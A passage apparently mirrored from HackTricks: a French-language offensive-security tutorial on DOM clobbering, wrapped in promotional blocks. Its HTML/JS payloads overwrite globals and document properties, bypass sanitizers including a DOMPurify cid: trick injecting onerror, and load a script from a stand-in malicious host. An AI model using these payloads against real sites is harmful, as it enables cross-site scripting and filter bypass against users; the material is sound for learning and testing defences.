mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
217 lines
14 KiB
Markdown
217 lines
14 KiB
Markdown
# Dom Clobbering
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## **Fondamentaux**
|
||
|
||
Il est possible de générer des **variables globales à l'intérieur du contexte JS** avec les attributs **`id`** et **`name`** dans les balises HTML.
|
||
```html
|
||
<form id=x></form>
|
||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||
```
|
||
**Seuls** certains éléments peuvent utiliser l'attribut **name** pour écraser les globaux, ce sont : `embed`, `form`, `iframe`, `image`, `img` et `object`.
|
||
|
||
De manière intéressante, lorsque vous utilisez un **élément de formulaire** pour **écraser** une variable, vous obtiendrez la valeur **`toString`** de l'élément lui-même : `[object HTMLFormElement]` mais avec **ancre** le **`toString`** sera le **`href`** de l'ancre. Par conséquent, si vous écrasez en utilisant la balise **`a`**, vous pouvez **contrôler** la **valeur** lorsqu'elle est **traitée comme une chaîne** :
|
||
```html
|
||
<a href="controlled string" id=x></a>
|
||
<script>
|
||
console.log(x);//controlled string
|
||
</script>
|
||
```
|
||
### Tableaux et Attributs
|
||
|
||
Il est également possible de **surcharger un tableau** et les **attributs d'un objet** :
|
||
```html
|
||
<a id=x>
|
||
<a id=x name=y href=controlled>
|
||
<script>
|
||
console.log(x[1])//controlled
|
||
console.log(x.y)//controlled
|
||
</script>
|
||
```
|
||
Pour écraser **un 3ème attribut** (par exemple x.y.z), vous devez utiliser un **`form`**:
|
||
```html
|
||
<form id=x name=y><input id=z value=controlled></form>
|
||
<form id=x></form>
|
||
<script>
|
||
alert(x.y.z.value)//controlled
|
||
</script>
|
||
```
|
||
Cibler plus d'attributs est **plus compliqué mais toujours possible**, en utilisant des iframes :
|
||
```html
|
||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>alert(x.y)//controlled</script>
|
||
```
|
||
{% hint style="warning" %}
|
||
La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte **indéfinie**.
|
||
{% endhint %}
|
||
|
||
Pour écraser des attributs plus profonds, vous pouvez utiliser **des iframes avec un encodage html** de cette manière :
|
||
```html
|
||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>
|
||
alert(a.b.c.d.e)//controlled
|
||
</script>
|
||
```
|
||
### **Contournement de filtre**
|
||
|
||
Si un filtre **boucle** à travers les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pourriez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et d'autres encore sont également **écrasables**.
|
||
```html
|
||
<form id=x></form>
|
||
<form id=y>
|
||
<input name=nodeName>
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById('x').nodeName)//FORM
|
||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Écrasement de `window.someObject`**
|
||
|
||
En JavaScript, il est courant de trouver :
|
||
```javascript
|
||
var someObject = window.someObject || {};
|
||
```
|
||
Manipuler le HTML sur la page permet de remplacer `someObject` par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer `someObject` par un élément d'ancre pointant vers un script malveillant :
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
Dans un code vulnérable tel que :
|
||
```html
|
||
<script>
|
||
window.onload = function(){
|
||
let someObject = window.someObject || {};
|
||
let script = document.createElement('script');
|
||
script.src = someObject.url;
|
||
document.body.appendChild(script);
|
||
};
|
||
</script>
|
||
```
|
||
Ce méthode exploite la source du script pour exécuter du code non désiré.
|
||
|
||
**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas en URL les guillemets doubles**. Cela signifie que vous pouvez **injecter un guillemet double encodé qui sera décodé à l'exécution**. Par conséquent, injecter quelque chose comme **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** fera en sorte que l'encodage HTML `"` soit **décodé à l'exécution** et **s'échappe** de la valeur de l'attribut pour **créer** l'événement **`onerror`**.
|
||
|
||
Une autre technique utilise un élément **`form`**. Certaines bibliothèques côté client inspectent les attributs d'un élément de formulaire nouvellement créé pour les nettoyer. Cependant, en ajoutant un `input` avec `id=attributes` à l'intérieur du formulaire, vous écrasez efficacement la propriété des attributs, empêchant le désinfectant d'accéder aux attributs réels.
|
||
|
||
Vous pouvez [**trouver un exemple de ce type de clobbering dans ce compte rendu de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Écrasement de l'objet document
|
||
|
||
Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant le DOM Clobbering:
|
||
|
||
> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arborescence selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec les valeurs des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
|
||
>
|
||
> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- La valeur de l'attribut [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes dans l'interface Document comme `document.querySelector`.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Écriture après l'élément écrasé
|
||
|
||
Les résultats des appels à **`document.getElementById()`** et **`document.querySelector()`** peuvent être modifiés en injectant une balise `<html>` ou `<body>` avec un attribut id identique. Voici comment cela peut être fait :
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">clobbered</html>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
alert(document.querySelector('.x').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence avec d'autres textes dans le `innerText` peut être évitée, améliorant ainsi l'efficacité de l'attaque:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">clobbered</html>
|
||
<style>
|
||
p{display:none;}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
Les investigations sur SVG ont révélé qu'une balise `<body>` peut également être utilisée de manière efficace :
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg><body id="cdnDomain">clobbered</body></svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
Pour que la balise HTML fonctionne dans SVG dans des navigateurs comme Chrome et Firefox, une balise `<foreignobject>` est nécessaire :
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">clobbered</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
## Substitution de formulaires
|
||
|
||
Il est possible d'ajouter de **nouvelles entrées à l'intérieur d'un formulaire** simplement en **spécifiant l'attribut `form`** à l'intérieur de certaines balises. Vous pouvez utiliser ceci pour **ajouter de nouvelles valeurs à l'intérieur d'un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`):
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form=id-other-form name=info>
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
{% endcode %}
|
||
|
||
* Pour plus d'attributs de formulaire, consultez [**ce lien**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||
|
||
## Références
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
* Heyes, Gareth. JavaScript pour les hackers : Apprenez à penser comme un hacker.
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|